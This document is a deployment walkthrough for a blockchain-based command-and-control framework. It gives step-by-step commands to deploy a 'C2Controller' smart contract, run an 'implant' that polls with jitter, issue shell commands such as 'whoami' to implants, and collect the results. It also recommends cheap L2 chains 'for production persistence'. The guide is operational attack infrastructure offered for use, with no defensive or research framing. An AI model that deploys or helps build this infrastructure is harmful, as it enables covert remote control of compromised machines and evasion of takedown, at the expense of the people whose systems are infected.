# Deployment Walkthrough This guide walks through setting up and deploying the C2 smart contract end-to-end, from wallet creation to contract deployment. --- ## 1. Create an Ethereum Wallet ### Option A: MetaMask (GUI — Recommended for Beginners) 1. Install [MetaMask](https://metamask.io/) browser extension 2. Create a new wallet (save the seed phrase **offline**) 3. Switch to **Sepolia** testnet (Settings → Network → Sepolia) 4. Copy your wallet address (starts with `0x`) 5. Export your private key: MetaMask → ⋮ → Account Details → Export Private Key ### Option B: CLI (No Browser) ```bash # Generate a random 32-byte private key openssl rand -hex 32 > wallet.key cat wallet.key # Example: a1b2c3d4e5f6... (64 hex chars) # Derive the address (requires Node.js + ethers.js or foundry) # With Foundry (installed below): cast wallet address --private-key $(cat wallet.key) ``` **⚠️ Keep your private key secret. Anyone with it can control your contract.** --- ## 2. Get Free Testnet ETH You need testnet ETH to pay gas for writes (deploy, issueCommand, submitResult). Reads are **free** — no gas needed. ### Sepolia Faucets | Faucet | URL | Notes | |--------|-----|-------| | Alchemy | https://sepoliafaucet.com | Free, requires free Alchemy account | | Infura | https://www.infura.io/faucet/sepolia | Free, requires free Infura account | | PoWFaucet | https://sepolia-faucet.pk910.de | Mine free ETH (no account needed) | | LearnWeb3 | https://learnweb3.io/faucets/sepolia | Free | | Google Cloud | https://cloud.google.com/application/web3/faucet/ethereum/sepolia | Free | ### For BSC Testnet | Faucet | URL | |--------|-----| | BSC Testnet Faucet | https://testnet.bnbchain.org/faucet-smart | **You need ~0.01 test ETH** — usually one faucet request gives 0.1–0.5 which is plenty. --- ## 3. Get an RPC Endpoint RPC endpoints let you talk to the blockchain. Two free options: ### Option A: Infura (Recommended) 1. Go to [infura.io](https://infura.io) → Create free account 2. Create a new API Key → **Ethereum** → **Sepolia** 3. Copy your URL: `https://sepolia.infura.io/v3/YOUR_KEY_HERE` ### Option B: Alchemy 1. Go to [alchemy.com](https://alchemy.com) → Create free account 2. Create new App → **Ethereum** → **Sepolia** 3. Copy HTTPS endpoint ### Option C: Public Endpoints (Rate Limited) ``` # Sepolia https://rpc.sepolia.org https://sepolia.gateway.tenderly.co https://ethereum-sepolia.publicnode.com # BSC Testnet https://data-seed-prebsc-1-s1.binance.org:8545 ``` --- ## 4. Install Foundry (Compile + Deploy) Foundry is the fastest Solidity toolchain. ```bash # One-liner install curl -L https://foundry.paradigm.xyz | bash # Restart your terminal or: source ~/.bashrc # Install foundryup foundryup ``` Verify: ```bash forge --version cast --version ``` --- ## 5. Compile the Contract ```bash # Navigate to the project cd c2-blockchain-contract # Install OpenZeppelin (required for Ownable) forge install OpenZeppelin/openzeppelin-contracts # Compile forge build # Extract ABI and bytecode forge inspect C2Controller abi > contracts/C2Controller.abi forge inspect C2Controller bytecode > contracts/C2Controller.bin # View bytecode (copy this into cmd/server/main.go) cat contracts/C2Controller.bin ``` **Update the bytecode in `cmd/server/main.go`:** Open the file and replace the placeholder `"0x608060..."` with the actual bytecode from `contracts/C2Controller.bin` (prefix with `0x`). --- ## 6. Deploy the Contract ### Method A: Using the Server Binary ```bash # Build the server make build-server # Deploy (replace with your actual values) ./bin/server deploy \ https://sepolia.infura.io/v3/YOUR_KEY \ 0xYOUR_PRIVATE_KEY_HEX \ 0xADDITIONAL_OPERATOR_ADDRESS_OPTIONAL # Output: # Contract deployed at: 0xABC123... ``` ### Method B: Using Forge Cast (Alternative) ```bash # Single command deploy forge create \ --rpc-url https://sepolia.infura.io/v3/YOUR_KEY \ --private-key YOUR_PRIVATE_KEY \ --constructor-args 0x0000000000000000000000000000000000000000 \ contracts/C2Controller.sol:C2Controller # Output: # Deployed to: 0x... ``` ### Method C: Remix IDE (Browser — No Toolchain Needed) 1. Go to [remix.ethereum.org](https://remix.ethereum.org) 2. Create `C2Controller.sol` file → paste contract source 3. Install plugin: Solidity Compiler → compile `C2Controller` 4. Install plugin: Deploy & Run Transactions 5. Environment: **Injected Provider** (MetaMask) 6. Contract: `C2Controller` 7. Deploy with constructor arg: `0x0000000000000000000000000000000000000000` (or an operator address) 8. Confirm MetaMask tx 9. Copy deployed contract address --- ## 7. Run the Implant ```bash # Build the client make build-client # Run export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY export CONTRACT_ADDR=0xDEPLOYED_CONTRACT export PRIVATE_KEY=0xIMPLANT_WALLET_KEY ./bin/client --interval 10 --jitter 3 ``` **Note:** The implant needs its own wallet with a small amount of testnet ETH to submit results. You can reuse the deploy wallet or create a new one and fund it from the faucet. --- ## 8. Issue a Command ```bash # Get the implant ID from the client output: # "[+] C2 Blockchain Implant" # Implant ID: 0xabc123... ./bin/server exec \ https://sepolia.infura.io/v3/YOUR_KEY \ 0xOPERATOR_PRIVATE_KEY \ 0xCONTRACT_ADDRESS \ abc123... \ "whoami" # The implant will pick it up on the next poll (~10-15s) and submit the result. ``` --- ## 9. Read Results ```bash # Read last 10 results ./bin/server results \ https://sepolia.infura.io/v3/YOUR_KEY \ 0xCONTRACT_ADDRESS \ --limit 10 ``` --- ## Cost Estimates | Action | Testnet (Sepolia) | Mainnet L2 (Arbitrum/Optimism) | Ethereum L1 | |--------|-------------------|--------------------------------|-------------| | Deploy | **Free** (faucet) | ~$0.005 | ~$20–200 | | issueCommand | **Free** | ~$0.001 | ~$3–15 | | submitResult | **Free** | ~$0.001 | ~$3–15 | | getCommand | **Free** | **Free** (view) | **Free** | | getActiveCommands | **Free** | **Free** | **Free** | **All read operations are always free.** Only writes (deploy, issueCommand, submitResult, add-op) cost gas. For production persistence at minimal cost, deploy on Arbitrum or Optimism where commands cost <$0.01 each. --- ## Contract Verification ```bash # Verify on Sepolia Etherscan forge verify-contract \ --chain sepolia \ --etherscan-api-key YOUR_API_KEY \ 0xCONTRACT_ADDRESS \ contracts/C2Controller.sol:C2Controller \ --constructor-args $(cast abi-encode "constructor(address)" 0x0000...) ``` Get an Etherscan API key at [etherscan.io](https://etherscan.io) (free).